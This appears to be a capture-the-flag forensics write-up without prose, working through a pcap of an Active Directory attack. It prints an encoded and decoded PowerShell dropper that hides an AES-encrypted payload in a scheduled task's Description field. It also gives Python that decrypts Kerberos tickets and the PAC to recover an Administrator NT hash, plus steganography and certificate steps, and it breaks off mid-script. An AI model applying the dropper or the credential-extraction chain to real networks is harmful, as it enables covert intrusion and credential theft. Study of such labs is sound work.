      <Arguments>-NonInteractive -enc JAB0AGEAcgBnAGUAdABfAHAAYQB0AGgAIAA9ACAAIgBDADoAXABjAGUAcgB0AC4AegBpAHAAIgAKACQAdABhAHMAawBQAGEAdABoACAAPQAgACIAXAAiAAoAJABlAG4AYwByAHkAcAB0AGkAbwBuAEsAZQB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAFAAWQBhAGsAZQA2ADEATwBPAFkAQwBLAHcAMAB6AGcAKwBvAFQALwBRAGcAPQA9ACIAKQAKAGYAdQBuAGMAdABpAG8AbgAgAEMAbwBuAHYAZQByAHQAVABvAC0AQgBhAHMAZQA2ADQAKAAkAGIAeQB0AGUAQQByAHIAYQB5ACkAIAB7AAoAIAAgACAAIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAQQByAHIAYQB5ACkACgB9AAoACgBmAHUAbgBjAHQAaQBvAG4AIABDAG8AbgB2AGUAcgB0AEYAcgBvAG0ALQBCAGEAcwBlADYANAAoACQAYgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKQAgAHsACgAgACAAIAAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AFMAdAByAGkAbgBnACkACgB9AAoACgBmAHUAbgBjAHQAaQBvAG4AIABFAG4AYwByAHkAcAB0AC0ARABhAHQAYQAoACQAawBlAHkALAAgACQAZABhAHQAYQApACAAewAKACAAIAAgACAAJABhAGUAcwBNAGEAbgBhAGcAZQBkACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQQBlAHMATQBhAG4AYQBnAGUAZAAKACAAIAAgACAAJABhAGUAcwBNAGEAbgBhAGcAZQBkAC4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAGEAZQBzAE0AYQBuAGEAZwBlAGQALgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAgACAAIAAgACQAYQBlAHMATQBhAG4AYQBnAGUAZAAuAEsAZQB5ACAAPQAgACQAawBlAHkACgAgACAAIAAgACQAYQBlAHMATQBhAG4AYQBnAGUAZAAuAEcAZQBuAGUAcgBhAHQAZQBJAFYAKAApAAoAIAAgACAAIAAkAGUAbgBjAHIAeQBwAHQAbwByACAAPQAgACQAYQBlAHMATQBhAG4AYQBnAGUAZAAuAEMAcgBlAGEAdABlAEUAbgBjAHIAeQBwAHQAbwByACgAKQAKACAAIAAgACAAJAB1AHQAZgA4AEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJABkAGEAdABhACkACgAgACAAIAAgACQAZQBuAGMAcgB5AHAAdABlAGQARABhAHQAYQAgAD0AIAAkAGUAbgBjAHIAeQBwAHQAbwByAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAdQB0AGYAOABCAHkAdABlAHMALAAgADAALAAgACQAdQB0AGYAOABCAHkAdABlAHMALgBMAGUAbgBnAHQAaAApAAoAIAAgACAAIAAkAGMAbwBtAGIAaQBuAGUAZABEAGEAdABhACAAPQAgACQAYQBlAHMATQBhAG4AYQBnAGUAZAAuAEkAVgAgACsAIAAkAGUAbgBjAHIAeQBwAHQAZQBkAEQAYQB0AGEACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAQwBvAG4AdgBlAHIAdABUAG8ALQBCAGEAcwBlADYANAAgACQAYwBvAG0AYgBpAG4AZQBkAEQAYQB0AGEACgB9AAoACgBmAHUAbgBjAHQAaQBvAG4AIABEAGUAYwByAHkAcAB0AC0ARABhAHQAYQAoACQAawBlAHkALAAgACQAZQBuAGMAcgB5AHAAdABlAGQARABhAHQAYQApACAAewAKACAAIAAgACAAJABhAGUAcwBNAGEAbgBhAGcAZQBkACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQQBlAHMATQBhAG4AYQBnAGUAZAAKACAAIAAgACAAJABhAGUAcwBNAGEAbgBhAGcAZQBkAC4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAGEAZQBzAE0AYQBuAGEAZwBlAGQALgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAgACAAIAAgACQAYwBvAG0AYgBpAG4AZQBkAEQAYQB0AGEAIAA9ACAAQwBvAG4AdgBlAHIAdABGAHIAbwBtAC0AQgBhAHMAZQA2ADQAIAAkAGUAbgBjAHIAeQBwAHQAZQBkAEQAYQB0AGEACgAgACAAIAAgACQAYQBlAHMATQBhAG4AYQBnAGUAZAAuAEkAVgAgAD0AIAAkAGMAbwBtAGIAaQBuAGUAZABEAGEAdABhAFsAMAAuAC4AMQA1AF0ACgAgACAAIAAgACQAYQBlAHMATQBhAG4AYQBnAGUAZAAuAEsAZQB5ACAAPQAgACQAawBlAHkACgAgACAAIAAgACQAZABlAGMAcgB5AHAAdABvAHIAIAA9ACAAJABhAGUAcwBNAGEAbgBhAGcAZQBkAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAAoAIAAgACAAIAAkAGUAbgBjAHIAeQBwAHQAZQBkAEQAYQB0AGEAQgB5AHQAZQBzACAAPQAgACQAYwBvAG0AYgBpAG4AZQBkAEQAYQB0AGEAWwAxADYALgAuACQAYwBvAG0AYgBpAG4AZQBkAEQAYQB0AGEALgBMAGUAbgBnAHQAaABdAAoAIAAgACAAIAAkAGQAZQBjAHIAeQBwAHQAZQBkAEQAYQB0AGEAQgB5AHQAZQBzACAAPQAgACQAZABlAGMAcgB5AHAAdABvAHIALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABlAG4AYwByAHkAcAB0AGUAZABEAGEAdABhAEIAeQB0AGUAcwAsACAAMAAsACAAJABlAG4AYwByAHkAcAB0AGUAZABEAGEAdABhAEIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwByAHkAcAB0AGUAZABEAGEAdABhAEIAeQB0AGUAcwApAAoAfQAKACQAcwBjAGgAZQBkAHUAbABlAHIAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AQwBvAG0ATwBiAGoAZQBjAHQAIABTAGMAaABlAGQAdQBsAGUALgBTAGUAcgB2AGkAYwBlAAoAJABzAGMAaABlAGQAdQBsAGUAcgAuAEMAbwBuAG4AZQBjAHQAKAApAAoAdAByAHkAIAB7AAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAPQAgACIAIgAKACAAIAAgACAAJABmAG8AbABkAGUAcgAgAD0AIAAkAHMAYwBoAGUAZAB1AGwAZQByAC4ARwBlAHQARgBvAGwAZABlAHIAKAAkAHQAYQBzAGsAUABhAHQAaAApAAoAIAAgACAAIAAkAHQAYQBzAGsAIAA9ACAAJABmAG8AbABkAGUAcgAuAEcAZQB0AFQAYQBzAGsAKAAiAEoAbABXAHYAZQBUAGwAaQAiACkACgAgACAAIAAgACQAZABlAGYAaQBuAGkAdABpAG8AbgAgAD0AIAAkAHQAYQBzAGsALgBEAGUAZgBpAG4AaQB0AGkAbwBuAAoAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAALQBQAGEAdABoACAAJAB0AGEAcgBnAGUAdABfAHAAYQB0AGgAKQAgAHsACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAiAFsALQBdACAARgBpAGwAZQAgAGEAbAByAGUAYQBkAHkAIABlAHgAaQBzAHQAcwAuACIACgAgACAAIAAgAH0AZQBsAHMAZQB7AAoAIAAgACAAIAAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZABlAHMAYwByAGkAcAB0AGkAbwBuACAAPQAgACQAZABlAGYAaQBuAGkAdABpAG8AbgAuAFIAZQBnAGkAcwB0AHIAYQB0AGkAbwBuAEkAbgBmAG8ALgBEAGUAcwBjAHIAaQBwAHQAaQBvAG4ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGQAZQBjAHIAeQBwAHQAZQBkAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAgAD0AIABEAGUAYwByAHkAcAB0AC0ARABhAHQAYQAgACQAZQBuAGMAcgB5AHAAdABpAG8AbgBLAGUAeQAgACQAZABlAHMAYwByAGkAcAB0AGkAbwBuAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIwAgAGIAYQBzAGUANgA0ACAAZABlAGMAbwBkAGUAIABnAGUAdAAgAHIAYQB3ACAAZABhAHQAYQAgAGEAbgBkACAAcwBhAHYAZQAgAGkAdAAgAHQAbwAgAGYAaQBsAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGQAZQBjAG8AZABlAEQAYQB0AGEAIAA9ACAAQwBvAG4AdgBlAHIAdABGAHIAbwBtAC0AQgBhAHMAZQA2ADQAIAAkAGQAZQBjAHIAeQBwAHQAZQBkAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACMAIABpAGYAIAB0AGEAcgBnAGUAdAAgAHAAYQB0AGgAIABuAG8AdAAgAGUAeABpAHMAdABzACwAIABjAHIAZQBhAHQAZQAgAGkAdAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZABpAHIAIAA9ACAAUwBwAGwAaQB0AC0AUABhAHQAaAAgACQAdABhAHIAZwBlAHQAXwBwAGEAdABoAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAhACgAVABlAHMAdAAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGQAaQByACkAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAE4AZQB3AC0ASQB0AGUAbQAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAFAAYQB0AGgAIAAkAGQAaQByAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZABlAGMAbwBkAGUARABhAHQAYQAgAHwAIABTAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAiAEMAOgBcAGMAZQByAHQALgB6AGkAcAAiACAALQBFAG4AYwBvAGQAaQBuAGcAIABCAHkAdABlAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAiAFsAKwBdACAAUwB1AGMAYwBlAHMAcwAuACIACgAgACAAIAAgACAAIAAgACAAfQAgAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAPQAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQAKACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAB9AAoAIAAgACAAIAAkAGUAbgBjAHIAeQBwAHQAZQBkAFIAZQBzAHUAbAB0ACAAPQAgAEUAbgBjAHIAeQBwAHQALQBEAGEAdABhACAAJABlAG4AYwByAHkAcAB0AGkAbwBuAEsAZQB5ACAAJAByAGUAcwB1AGwAdAAKAAoAIAAgACAAIAAkAGQAZQBmAGkAbgBpAHQAaQBvAG4ALgBSAGUAZwBpAHMAdAByAGEAdABpAG8AbgBJAG4AZgBvAC4ARABlAHMAYwByAGkAcAB0AGkAbwBuACAAPQAgACQAZQBuAGMAcgB5AHAAdABlAGQAUgBlAHMAdQBsAHQACgAgACAAIAAgACQAdQBzAGUAcgAgAD0AIAAkAHQAYQBzAGsALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFUAcwBlAHIASQBkAAoAIAAgACAAIAAkAGYAbwBsAGQAZQByAC4AUgBlAGcAaQBzAHQAZQByAFQAYQBzAGsARABlAGYAaQBuAGkAdABpAG8AbgAoACQAdABhAHMAawAuAE4AYQBtAGUALAAgACQAZABlAGYAaQBuAGkAdABpAG8AbgAsACAANgAsACAAJAB1AHMAZQByACwAIAAkAG4AdQBsAGwALAAgACQAdABhAHMAawAuAEQAZQBmAGkAbgBpAHQAaQBvAG4ALgBQAHIAaQBuAGMAaQBwAGEAbAAuAEwAbwBnAG8AbgBUAHkAcABlACkACgB9AGMAYQB0AGMAaAAgAHsACgAgACAAIAAgAFcAcgBpAHQAZQAtAEUAcgByAG8AcgAgACIARgBhAGkAbABlAGQALgAuACIACgB9AAoAZgBpAG4AYQBsAGwAeQAgAHsACgAgACAAIAAgAFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AFIAZQBsAGUAYQBzAGUAQwBvAG0ATwBiAGoAZQBjAHQAKAAkAHMAYwBoAGUAZAB1AGwAZQByACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAfQAKAFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEUAeABpAHQAKAAwACkA</Arguments>
    </Exec>
  </Actions>
</Task>

$target_path = "C:\cert.zip"
$taskPath = "\"
$encryptionKey = [System.Convert]::FromBase64String("PYake61OOYCKw0zg+oT/Qg==")
function ConvertTo-Base64($byteArray) {
    [System.Convert]::ToBase64String($byteArray)
}

function ConvertFrom-Base64($base64String) {
    [System.Convert]::FromBase64String($base64String)
}

function Encrypt-Data($key, $data) {
    $aesManaged = New-Object System.Security.Cryptography.AesManaged
    $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
    $aesManaged.Key = $key
    $aesManaged.GenerateIV()
    $encryptor = $aesManaged.CreateEncryptor()
    $utf8Bytes = [System.Text.Encoding]::UTF8.GetBytes($data)
    $encryptedData = $encryptor.TransformFinalBlock($utf8Bytes, 0, $utf8Bytes.Length)
    $combinedData = $aesManaged.IV + $encryptedData
    return ConvertTo-Base64 $combinedData
}

function Decrypt-Data($key, $encryptedData) {
    $aesManaged = New-Object System.Security.Cryptography.AesManaged
    $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
    $combinedData = ConvertFrom-Base64 $encryptedData
    $aesManaged.IV = $combinedData[0..15]
    $aesManaged.Key = $key
    $decryptor = $aesManaged.CreateDecryptor()
    $encryptedDataBytes = $combinedData[16..$combinedData.Length]
    $decryptedDataBytes = $decryptor.TransformFinalBlock($encryptedDataBytes, 0, $encryptedDataBytes.Length)
    return [System.Text.Encoding]::UTF8.GetString($decryptedDataBytes)
}
$scheduler = New-Object -ComObject Schedule.Service
$scheduler.Connect()
try {
    $result = ""
    $folder = $scheduler.GetFolder($taskPath)
    $task = $folder.GetTask("JlWveTli")
    $definition = $task.Definition
    if (Test-Path -Path $target_path) {
        $result = "[-] File already exists."
    }else{
        try {
            $description = $definition.RegistrationInfo.Description
            $decryptedDescription = Decrypt-Data $encryptionKey $description
            # base64 decode get raw data and save it to file
            $decodeData = ConvertFrom-Base64 $decryptedDescription
            # if target path not exists, create it
            $dir = Split-Path $target_path
            if (!(Test-Path -Path $dir)) {
                New-Item -ItemType Directory -Path $dir
            }
            $decodeData | Set-Content -Path "C:\cert.zip" -Encoding Byte
            $result = "[+] Success."
        } 
        catch {
            $result = $_.Exception.Message
        }
    }
    $encryptedResult = Encrypt-Data $encryptionKey $result

    $definition.RegistrationInfo.Description = $encryptedResult
    $user = $task.Principal.UserId
    $folder.RegisterTaskDefinition($task.Name, $definition, 6, $user, $null, $task.Definition.Principal.LogonType)
}catch {
    Write-Error "Failed.."
}
finally {
    [System.Runtime.InteropServices.Marshal]::ReleaseComObject($scheduler) | Out-Null
}
[Environment]::Exit(0)

tshark -r suctf-ad.pcapng -Y "tcp.port==49667" -T fields -e frame.number -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport -e tcp.stream -e _ws.col.Info

tshark -r suctf-ad.pcapng -Y "frame.number>=860 && frame.number<=2650" -T fields -e frame.number -e tcp.stream -e _ws.col.Info

tshark -o kerberos.decrypt:TRUE -o kerberos.file:login.keytab -r suctf-ad.pcapng -Y "tcp.stream==5" -V > frame5.txt

 tshark -o kerberos.decrypt:TRUE -o kerberos.file:login.keytab -r suctf-ad.pcapng -Y "frame.number==876" -V

import subprocess, re
from pathlib import Path
from minikerberos.protocol.encryption import Key, Enctype, _AES256CTS
from minikerberos.gssapi.gssapi import GSSWrapToken, GSSAPI_AES, KG_USAGE

pcap='suctf-ad.pcapng'
subkey_hex='6c729591c51fd38f4c462d74566eeb4a40a4511a9c85bc81232e737a98d8d1f2'

key=Key(Enctype.AES256, bytes.fromhex(subkey_hex))
gss=GSSAPI_AES(key, _AES256CTS, None)

out = subprocess.check_output([
    'tshark','-r',pcap,
    '-Y','tcp.stream==5 && ip.src==192.168.183.132 && tcp.len>0 && frame.number>=881 && frame.number<=2572',
    '-T','fields','-e','frame.number','-e','tcp.seq','-e','tcp.payload'
], text=True, encoding='utf-8')

segments=[]
for line in out.strip().splitlines():
    parts=line.split('\t')
    if len(parts) < 3 or not parts[2]:
        continue
    seq=int(parts[1])
    data=bytes.fromhex(parts[2].replace(':',''))
    segments.append((seq, data))
segments.sort()

base_seq=segments[0][0]
stream=bytearray()
for seq, data in segments:
    off=seq-base_seq
    end=off+len(data)
    if end <= len(stream):
        continue
    if off < len(stream):
        data = data[len(stream)-off:]
        off = len(stream)
    stream.extend(data)

s=bytes(stream)
start=s.find(bytes.fromhex('05000001100000009c10440002000000'))

parts=[]
pos=start
while pos + 24 <= len(s):
    frag_len=int.from_bytes(s[pos+8:pos+10],'little')
    auth_len=int.from_bytes(s[pos+10:pos+12],'little')
    call_id=int.from_bytes(s[pos+12:pos+16],'little')
    flags=s[pos+3]
    if call_id != 2:
        break
    frag=s[pos:pos+frag_len]
    stub_len=frag_len - 24 - 8 - auth_len
    enc_stub=frag[24:24+stub_len]
    auth=frag[24+stub_len+8:24+stub_len+8+auth_len]

    t=GSSWrapToken.from_bytes(auth)
    rotated = auth[16:] + enc_stub
    cipher_text = gss.unrotate(rotated, t.RRC + t.EC)
    plain = _AES256CTS().decrypt(key, KG_USAGE.INITIATOR_SEAL.value, cipher_text)
    plain = plain[:-(t.EC + 16)]
    parts.append(plain)

    pos += frag_len
    if flags & 0x02:
        break

full=b''.join(parts)
start_xml = full.find(b'<\x00T\x00a\x00s\x00k\x00')
xml_txt = full[start_xml:].decode('utf-16le', errors='ignore')
end_xml = xml_txt.find('</Task>')
xml_txt = xml_txt[:end_xml+7]

desc = re.search(r'<Description>(.*?)</Description>', xml_txt, re.S).group(1)
Path('stream5_desc_fixed.txt').write_text(desc, encoding='ascii')
print('wrote stream5_desc_fixed.txt', len(desc))

from pathlib import Path
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

desc = Path("stream5_desc_fixed.txt").read_text(encoding="ascii").strip()
key = base64.b64decode("PYake61OOYCKw0zg+oT/Qg==")

blob = base64.b64decode(desc)
iv, ct = blob[:16], blob[16:]
pt = unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(ct), 16)
raw = base64.b64decode(pt)

Path("recovered_cert.zip").write_bytes(raw)
print("wrote recovered_cert.zip", len(raw), raw[:4])

stegseek cert.jpg
cat  cert.jpg.out
濑水晚霞映海天，户外潮声入远烟。
环佩清姿临碧浪，奈何人间少此颜。
倾心落日添柔影，城畔微风动鬓边。
绝代芳华如画里，色映云霞胜月妍。

unzip -P '濑户环奈倾城绝色' cert.zip -d cert

klist -c wiredc.ccache
Ticket cache: FILE:wiredc.ccache
Default principal: Administrator@WIRE.COM

Valid starting       Expires              Service principal
03/06/2026 20:52:11  03/07/2026 06:52:11  krbtgt/WIRE.COM@WIRE.COM

openssl pkcs12 -in administrator.pfx -info
Enter Import Password:
MAC: sha256, Iteration 2048
MAC length: 32, salt length: 8
PKCS7 Data
Certificate bag
Bag Attributes
    friendlyName:
    localKeyID: AB AD F4 6E 1D 76 C3 07 FA 3B 16 55 0F FA 67 0B E9 08 21 AB
subject=CN=Kanna.seto
issuer=DC=com, DC=wire, CN=wire-DC01-CA
-----BEGIN CERTIFICATE-----
MIIF/jCCBOagAwIBAgITVQAAAA5ckH5gQsKBxgAAAAAADjANBgkqhkiG9w0BAQsF
ADBCMRMwEQYKCZImiZPyLGQBGRYDY29tMRQwEgYKCZImiZPyLGQBGRYEd2lyZTEV
MBMGA1UEAxMMd2lyZS1EQzAxLUNBMB4XDTI2MDMwNjExMTM1MloXDTI3MDMwNjEx
MTM1MlowFTETMBEGA1UEAxMKS2FubmEuc2V0bzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBALc7tkxrcHchvPklua448YPf8fE4tn8kbo7/7DYTvzjdCPbX
t3f3aLCKHfWUUwgAxfQ5/8pICpUNl9arQ71XaILf+nFjTN8M46D+FYonFtu6hqNt
KxM24wnhTPQKJg8cmzVds1TSaOnFFjP7CYJSyq9yrxp+BZ7q17C0+BNZ5/tiPmCp
F+qvDSVl/nSZS0D9IizXduq1azPFcJcK+Qez/eWeJImHhfvgztRYtuJpLRh4hOUQ
s0Q52F+tMElzXl+Xg3wT5dB4RlSX29iV4o9LE5+13GsEeyuswGVDMYjKJ1Ra/i9+
2/lHY5p7oeRBV50ClVPfP76gV3uHEHxD/eLxLvkCAwEAAaOCAxgwggMUME4GCSsG
AQQBgjcZAgRBMD+gPQYKKwYBBAGCNxkCAaAvBC1TLTEtNS0yMS0xMDIxNjAxMDQ0
LTE3NjQ2MDgxODItMTc4MDM5NDAyNC01MDAwgYEGA1UdEQR6MHigJgYKKwYBBAGC
NxQCA6AYDBZhZG1pbmlzdHJhdG9yQHdpcmUuY29thk50YWc6bWljcm9zb2Z0LmNv
bSwyMDIyLTA5LTE0OnNpZDpTLTEtNS0yMS0xMDIxNjAxMDQ0LTE3NjQ2MDgxODIt
MTc4MDM5NDAyNC01MDAwHQYDVR0OBBYEFO5unxICHKd7tOtsB8njErd2T2jUMB8G
A1UdIwQYMBaAFCugV8qRtbNmCM41d5i1j2NZZ2W5MIHEBgNVHR8Egbwwgbkwgbag
gbOggbCGga1sZGFwOi8vL0NOPXdpcmUtREMwMS1DQSxDTj1EQzAxLENOPUNEUCxD
Tj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1
cmF0aW9uLERDPXdpcmUsREM9Y29tP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/
YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCBuwYIKwYBBQUH
AQEEga4wgaswgagGCCsGAQUFBzAChoGbbGRhcDovLy9DTj13aXJlLURDMDEtQ0Es
Q049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENO
PUNvbmZpZ3VyYXRpb24sREM9d2lyZSxEQz1jb20/Y0FDZXJ0aWZpY2F0ZT9iYXNl
P29iamVjdENsYXNzPWNlcnRpZmljYXRpb25BdXRob3JpdHkwDgYDVR0PAQH/BAQD
AgeAMDcGCSsGAQQBgjcVBwQqMCgGICsGAQQBgjcVCIHYsmaGrdwlh6WTP4TchFyD
/JFGUQEhAgFuAgEAMBMGA1UdJQQMMAoGCCsGAQUFBwMCMBsGCSsGAQQBgjcVCgQO
MAwwCgYIKwYBBQUHAwIwDQYJKoZIhvcNAQELBQADggEBAAedrdpHC9kbfTOLw2uZ
WrV7a8IHf7Gjm36vAFfEQvGZw0lSQCjV/2M48kFejOFPlZyo7LgEZdXAMesTGiFJ
imPguCoqPjHWT+dKxo3NKuS+aFfMezQ7oswfDJEUWXTvFjkXClOERyoah2lExrSC
qiMFjOVFvnAMUjf6XqkGxQSeQ5enzo6cJhWumQGlg76xEa4J8iQF3cRie1ztpgZP
xwq9mstBwtyiP/JzOEO/F4kYLKTfVJNi8TdsmGojIGvceeyJ4Tp8AJV/t3b2OiYu
Cw9vIYKWArvo8uCboOOEiCXpcFhPJPYoAIbTKWdTvt183Jp0eguq1w2lHg0ktVJs
jyo=
-----END CERTIFICATE-----

tshark -r suctf-ad.pcapng -Y "frame.number==779 || frame.number==783" -V

tshark -r suctf-ad.pcapng -Y "frame.number==793 || frame.number==795" -V 

from impacket.krb5.crypto import Key, _enctype_table
from impacket.krb5.asn1 import EncASRepPart
from pyasn1.codec.der.decoder import decode
import subprocess, json

j = subprocess.check_output(
    ['tshark', '-r', 'suctf-ad.pcapng', '-Y', 'frame.number==783', '-T', 'json'],
    text=True, encoding='utf-8'
)
kerb = json.loads(j)[0]['_source']['layers']['kerberos']['kerberos.as_rep_element']
cipher_hex = kerb['kerberos.kDC_REP_enc_part_element']['kerberos.encryptedKDCREPData_cipher'].replace(':', '')

key_hex = open('cert\\key', 'r', encoding='ascii').read().strip()

plain = _enctype_table[18].decrypt(
    Key(18, bytes.fromhex(key_hex)),
    3,
    bytes.fromhex(cipher_hex)
)

obj = decode(plain, asn1Spec=EncASRepPart())[0]
print(bytes(obj['key']['keyvalue']).hex())

from impacket.krb5.crypto import Key, _enctype_table
from impacket.krb5.asn1 import EncTicketPart, AD_IF_RELEVANT
from impacket.krb5.ccache import CCache
from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, PAC_CREDENTIAL_INFO, PAC_CREDENTIALS_INFO
from pyasn1.codec.der.decoder import decode
import subprocess, json

# 1. TGT session key from ccache
cc = CCache.loadFile("cert\\wiredc.ccache")
tgt_session_key = bytes(cc.credentials[0]["key"]["keyvalue"])

# 2. AS-REP key recovered from cert.zip
asrep_key = bytes.fromhex(open("cert\\key", "r", encoding="ascii").read().strip())

# 3. Get frame 795 ticket enc-part
j = subprocess.check_output(
    ["tshark", "-r", "suctf-ad.pcapng", "-Y", "frame.number==795", "-T", "json"],
    text=True, encoding="utf-8"
)
kerb = json.loads(j)[0]["_source"]["layers"]["kerberos"]["kerberos.tgs_rep_element"]
ticket_hex = kerb["kerberos.ticket_element"]["kerberos.ticket_enc_part_element"]["kerberos.encryptedTicketData_cipher"].replace(":", "")

# 4. Decrypt ticket enc-part with TGT session key, usage 2
plain = _enctype_table[18].decrypt(Key(18, tgt_session_key), 2, bytes.fromhex(ticket_hex))
ticket = decode(plain, asn1Spec=EncTicketPart())[0]

# 5. Extract PAC blob
ad_if_rel = decode(ticket["authorization-data"][0]["ad-data"].asOctets(), asn1Spec=AD_IF_RELEVANT())[0]
pac_blob = ad_if_rel[0]["ad-data"].asOctets()

# 6. Find PAC_CREDENTIAL_INFO buffer
pac = PACTYPE(pac_blob)
bufs = pac["Buffers"]
credinfo = None
for _ in range(pac["cBuffers"]):
    info = PAC_INFO_BUFFER(bufs[:16])
    if info["ulType"] == PAC_CREDENTIALS_INFO:
        raw = pac_blob[info["Offset"]:info["Offset"] + info["cbBufferSize"]]
        credinfo = PAC_CREDENTIAL_INFO(raw)
        break
    bufs = bufs[16:]

# 7. Decrypt PAC_CREDENTIAL_INFO SerializedData with AS-REP key, usage 16
dec = _enctype_table[int(credinfo["EncryptionType"])].decrypt(
    Key(int(credinfo["EncryptionType"]), asrep_key),
    16,
    credinfo["SerializedData"]
)

# 8. In this sample, the NTLM_SUPPLEMENTAL_CREDENTIAL starts at 0x44
#    Layout there is: Version(4) Flags(4) LM(16) NT(16)
nt_hash = dec[0x5c:0x6c].hex()
print("Administrator NT hash =", nt_hash)
#Administrator NT hash = bedcf78571904538b1919672e4521c4e

import subprocess, re, base64
from pathlib import Path

out = subprocess.check_output([
    'tshark',
    '-o', 'kerberos.decrypt:TRUE',
